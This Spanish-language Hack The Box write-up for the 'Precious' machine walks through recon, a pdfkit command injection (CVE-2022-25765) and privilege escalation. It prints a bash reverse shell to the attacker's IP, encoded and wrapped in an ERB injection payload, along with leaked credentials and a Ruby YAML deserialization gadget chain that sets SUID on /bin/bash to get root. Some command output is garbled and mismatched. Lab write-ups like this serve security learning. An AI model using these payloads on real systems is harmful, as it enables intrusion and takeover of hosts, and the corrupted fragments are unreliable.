

PRECIOUS

- 1. PRECIOUS
 - 1.1. Preliminar
 - 1.2. Nmap
 - 1.3. Tecnologías web
 - 1.4. Command Injection in Pdftkit 0.8.6
 - 1.5. Privesc via leaked credentials in config files
 - 1.6. Privesc via YAML deserialization attack

1. PRECIOUS

[www](https://app.hackthebox.com/machines/Precious)<https://app.hackthebox.com/machines/Precious>

PRECIOUS 513

RETIRE MACHINE

Precious

LINUX EASY

4.6
MACHINE RATING

21712
USER OWNS

19927
SYSTEM OWNS

26/11/2022
RELEASED

Created by Nauten

Copy Link

Play Machine

1.1. Preliminar

Comprobamos si la máquina está encendida, averiguamos qué sistema operativo es y creamos nuestro directorio de trabajo. Nos enfrentamos a una máquina *Linux*.

```
> settarget "Precious 10.10.11.189"
> ping 10.10.11.189
PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data:
64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=40.4 ms
64 bytes from 10.10.11.189: icmp_seq=2 ttl=63 time=34.9 ms
64 bytes from 10.10.11.189: icmp_seq=3 ttl=63 time=34.4 ms
64 bytes from 10.10.11.189: icmp_seq=4 ttl=63 time=40.1 ms
64 bytes from 10.10.11.189: icmp_seq=5 ttl=63 time=36.4 ms
^C
--- 10.10.11.189 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4007ms
rtt min/avg/max/mdev = 34.398/38.425/40.066/4.359 ms
```

1.2. Nmap

Escaneo de puertos sigiloso. Evidencia en archivo *allports*. Tenemos los *puertos 22 y 80* abiertos.

```
> nmap -sS -p- --open 10.10.11.189 -n -Pn --min-rate 5000 -oG allports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-27 13:24 -01
Nmap scan report for 10.10.11.189
Host is up (0.041s latency).
Not shown: 65393 closed tcp ports (reset), 140 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
Nmap done: 1 IP address (1 host up) scanned in 13.07 seconds
```

Escaneo de scripts por defecto y versiones sobre los puertos abiertos, tomando como input los puertos de *allports* mediante *extractPorts*. Añadimos el dominio *precious.htb* a nuestro */etc/hosts*, ya que se está aplicando *virtual hosting*.

```
> cat targeted -l ruby
File: targeted
1 # Nmap 7.94SVN scan initiated Sat Apr 27 13:25:02 2024 as: nmap -sCV -p22,80 --min-rate 5000 -oN targeted 10.10.11.189
2 Nmap scan report for 10.10.11.189
3 Host is up (0.035s latency).
4
5 PORT      STATE SERVICE VERSION
6 22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
7 | ssh-hostkey:
8 |   3072 64:3e:13:a8:e3:1e:20:66:1d:23:55:5b:f6:30:47:d2 (RSA)
9 |   256 a2:ef:7b:96:85:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
10 |   256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
11 80/tcp    open  http     nginx 1.18.0
12 |_ http server header: nginx/1.18.0
13 |_ http title: Did not follow redirect to http://precious.htb/
14 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17 # Nmap done at Sat Apr 27 13:25:10 2024 - 1 IP address (1 host up) scanned in 8.25 seconds
```

1.3. Tecnologías web

Whatweb: nos reporta lo siguiente. Vemos que se está usando **Ruby** como lenguaje de programación.

```

$ whatweb http://precious.htb
http://precious.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]

```

1.4. Command Injection in Pdftk 0.8.6

CVE-2022-25765:

Accedemos a la aplicación web, la cual tiene una función para convertir una página web a PDF. Por tanto, se están ejecutando comandos de sistema por detrás para poder hacer esto. Hemos podido ver que se está usando **Pdftk 0.8.6**, que es una biblioteca de Python que proporciona una interfaz sencilla para convertir HTML y URLs a archivos PDF.



Interceptamos esta petición con **Burp Suite**. Vamos a codificar un payload para obtener una reverse shell usando la herramienta **HURL**, primero a **base64**: `hURL -B "bash -i >& /dev/tcp/10.10.14.19/443 0>&1"`, y posteriormente, lo codificaremos a **URL encode**: `hURL -U "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDMgMD4mMQ=="`. Obtenemos el payload final. Nos ponemos ahora en escucha con **Netcat** por un puerto.

```

NMRK -S "bash -i >& /dev/tcp/10.10.10.443 0=61"
Original      : bash -i >& /dev/tcp/10.10.10.443 0=61
base64 -Encoded : YmFzaCAtaSA%3JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDMgMD4mMQ%3D%3D|+base64+-d+|+bash") ;%25>
base64 -U      : YmFzaCAtaSA%3JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDMgMD4mMQ%3D%3D|+base64+-d+|+bash") ;%25>
Original      : YmFzaCAtaSA%3JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDMgMD4mMQ%3D%3D|+base64+-d+|+bash") ;%25>
URL -Encoded : YmFzaCAtaSA%3JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDMgMD4mMQ%3D%3D|+base64+-d+|+bash") ;%25>
> -nlp 443
listening on [any] 443 ...

```

Ahora, usaremos toda esta estructura:

`a%0A<%25%3dsystem("echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDMgMD4mMQ%3D%3D|+base64+-d+|+bash");%25>` para enviar la petición por **Burp Suite**.

Recibimos nuestra shell reversa. Realizamos el *tratamiento de la TTY*. Estamos como usuario **ruby**.

```

ruby@precious:/var/www/pdfapps$ whoami
ruby
ruby@precious:/var/www/pdfapps$ ls
app config config.ru Gemfile Gemfile.lock pdf public
ruby@precious:/var/www/pdfapps$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ruby@precious:/var/www/pdfapps$ ifconfig
bash: ifconfig: command not found
ruby@precious:/var/www/pdfapps$ uname -a
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 GNU/Linux
ruby@precious:/var/www/pdfapps$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:39:39:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,/,/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,/,/run/systemd:/usr/sbin/nologin
messagebus:x:103:103:nonexistent:/usr/sbin/nologin
sshd:x:104:65534:run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,/,/home/henry:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/,/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/,/usr/sbin/nologin
ruby:x:1001:1001:home/ruby:/bin/bash
laurel:x:997:997:/var/log/laurel:/bin/false
ruby@precious:/var/www/pdfapps$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Oct 26 2022 .
drwxr-xr-x 18 root root 4096 Nov 21 2022 ..
drwxr-xr-x 2 henry henry 4096 Oct 26 2022 henry
drwxr-xr-x 4 ruby ruby 4096 Apr 27 16:28 ruby
ruby@precious:/var/www/pdfapps$

```

“

CVE-2022-25765:

El paquete *pdftk* desde la versión **0.0.0** es vulnerable a inyección de comandos cuando la URL no está debidamente sanitizada.

1.5. Privesc via leaked credentials in config files

Encontramos ahora las credenciales para el usuario **henry** en el siguiente directorio: **/home/ruby/.bundle/config**.

```

ruby@precious:/$ cd /home
ruby@precious:/home$ ls
henry ruby
ruby@precious:/home$ cd ruby
ruby@precious:~$ ls
ruby@precious:~$ ls -la
total 32
drwxr-xr-x 5 ruby ruby 4096 Apr 28 18:35 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
-rw-r--r-- 1 root root  9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 Apr 27 18:28 .cache
drwxr-xr-x 3 ruby ruby 4096 Apr 28 18:35 .local
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ cd .bundle
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cd config
bash: cd: config: Not a directory
ruby@precious:~/.bundle$ ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .
drwxr-xr-x 5 ruby ruby 4096 Apr 28 18:35 ..
-r-xr-xr-x 1 root ruby  62 Sep 26 2022 config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS_ORG/: "henry:Q3c1AqGht0I0aXAYFH"
---
ruby@precious:~/.bundle$ su henry
Password:
henry@precious:/home/ruby/.bundle$ |

```

1.6. Privesc via YAML deserialization attack

Hacemos **sudo -l** para listar los privilegios a nivel de sudo. Podemos ejecutar con **ruby** el siguiente script: **/opt/update_dependencies.rb**. Este script se usa para administrar **Gems (paquetes en Ruby)**. Vemos que el propietario es **root**, pero no podemos modificar su contenido o escribir. No obstante, al leer el script, nos damos cuenta que se está usando la función **YAML.load**, la cual podemos manipular para instanciar objetivos maliciosos y conducirnos a una escalada de privilegios.

```

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
  (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require "rubygems"

# TODO: update versions automatically
def update_gems()
  end

def list_from_file
  YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
  Gems::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
  gems_local.each do |local_name, local_version|
    if(file_name == local_name)
      if(file_version != local_version)
        puts "Installed version differs from the one specified in file: " + local_name
      else
        puts "Installed version is equals to the one specified in file: " + local_name
      end
    end
  end
end
end
end
henry@precious:~$ ls -la /opt/update_dependencies.rb
-rwxr-xr-x 1 root root 848 Sep 25 2022 /opt/update_dependencies.rb
henry@precious:~$ |

```

Asimismo, se está tratando de cargar el archivo *dependencies.yml*, el cual no está indicado por su ruta absoluta, lo que nos permite también indicar otra posible ruta para que el programa lea. De hecho, si ejecutamos el programa, obtenemos un error: el programa no encuentra el archivo *dependencies.yml*. Cuando creamos ahora este archivo (en */tmp*, por ejemplo) y lo ejecutamos de nuevo, vemos que el programa ahora sí lee el archivo.

```

henry@precious:~$ sudo .l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
  2: from /opt/update_dependencies.rb:17:in '<main>'
  1: from /opt/update_dependencies.rb:10:in 'list from file'
/opt/update_dependencies.rb:10:in 'read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
henry@precious:~$ ls -la /opt/
total 16
drwxr-xr-x 3 root root 4096 Oct 26 2022 .
drwxr-xr-x 18 root root 4096 Nov 21 2022 ..
drwxr-xr-x 2 root root 4096 Oct 26 2022 sample
-rwxr-xr-x 1 root root 848 Sep 25 2022 update_dependencies.rb
henry@precious:~$ cd /tmp
henry@precious:/tmp$ ls
passenger.jRuby6  runtime.ruby  systemd-private-de4fb372458849f788601d040bb43823-systemd-logind.service-mTk5xh  vmware-root_370-599888058
henry@precious:/tmp$ touch dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
/opt/update_dependencies.rb:20:in '<main>': undefined method 'each' for false:FalseClass (NoMethodError)
henry@precious:/tmp$

```

Ahora que tenemos este archivo, vamos a usar una estructura *YAML* que contiene *objetos Ruby* para poder ejecutar comandos, y de este modo, elevar nuestros privilegios. Dentro de esta estructura, ejecutaremos el comando `chmod u+s /bin/bash`, para posteriormente, con `bash -p`, obtener una shell de Bash como *root*. Compartimos toda esta estructura *YAML* a continuación. Más información sobre este ataque ya la estructura que usamos en el enlace que compartimos a continuación.

<https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/>

```

henry@precious:~$ touch dependencies.yml
henry@precious:~$ nano dependencies.yml
henry@precious:~$ ls
dependencies.yml  user.txt
henry@precious:~$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
  install: true
- !ruby/object:Gem::SpecFetcher
  install: true
- !ruby/object:Gem::Requirement
  requirements:
    - !ruby/object:Gem::Package::TarReader
      io: &!ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: "abc"
        debug_output: &!ruby/object:Net::WriteAdapter
          socket: &!ruby/object:Gem::RequestSet
            sets: !ruby/object:Net::WriteAdapter
              socket: !ruby/module 'Kernel'
                method_id: :system
            git_set: !chmod uas /bin/bash
            method_id: :rescue
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin/:/usr/sbin/:/usr/bin/:/sbin/:/bin

User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
 33: from /opt/update_dependencies.rb:17:in `<main>'
 32: from /opt/update_dependencies.rb:19:in `list_from_file'
 31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
 30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:59:in `to_ruby'
 29: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
 28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
 27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
 26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
 25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
 24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
 23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
 22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
 21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
 20: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
 19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
 18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
 17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
 16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
 15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:288:in `visit_Psych_Nodes_Mapping'
 14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
 13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:492:in `init_with'
 12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
 11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
 10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
  9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
  8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:191:in `from'
  7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'

```

Ejecutamos el programa ahora: `sudo /usr/bin/ruby /opt/update_dependencies.rb`, llamándose al archivo malicioso que creamos *dependencies.yml*. Finalmente, al hacer `bash -p`, obtenemos nuestra sesión como **root**.

```

henry@precious:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:~$ bash -p
root
bash-5.1# cd /root
bash-5.1# cat root.txt
c486d78ba1c7f33ba3cf91c62f5c9c22

```

66

- La **deserialización de datos YAML** con `yaml.load` sin restringir la carga a un conjunto seguro de datos permite que el contenido deserializado contenga objetos y estructuras que puedan ejecutar código en el sistema. Esto se debe a que `yaml.load` puede interpretar y crear objetos complejos definidos en el YAML, incluyendo la ejecución de constructores arbitrarios.
- Para mitigar estos riesgos, es esencial usar `yaml.safe_load` y seguir prácticas seguras de validación y actualización de software.

- Estructura YAML con objetos Ruby:

<div

```
1  ---
2  - !ruby/object:Gem::Installer
3    i: x
4  - !ruby/object:Gem::SpecFetcher
5    i: y
6  - !ruby/object:Gem::Requirement
7    requirements:
8      !ruby/object:Gem::Package::TarReader
9      io: &1 !ruby/object:Net::BufferedIO
10      io: &1 !ruby/object:Gem::Package::TarReader::Entry
11        read: 0
12        header: "abc"
13      debug_output: &1 !ruby/object:Net::WriteAdapter
14        socket: &1 !ruby/object:Gem::RequestSet
15          sets: !ruby/object:Net::WriteAdapter
16            socket: !ruby/module 'Kernel'
17            method_id: :system
18            git_set: chmod u+s /bin/bash
19            method_id: :resolve
20
```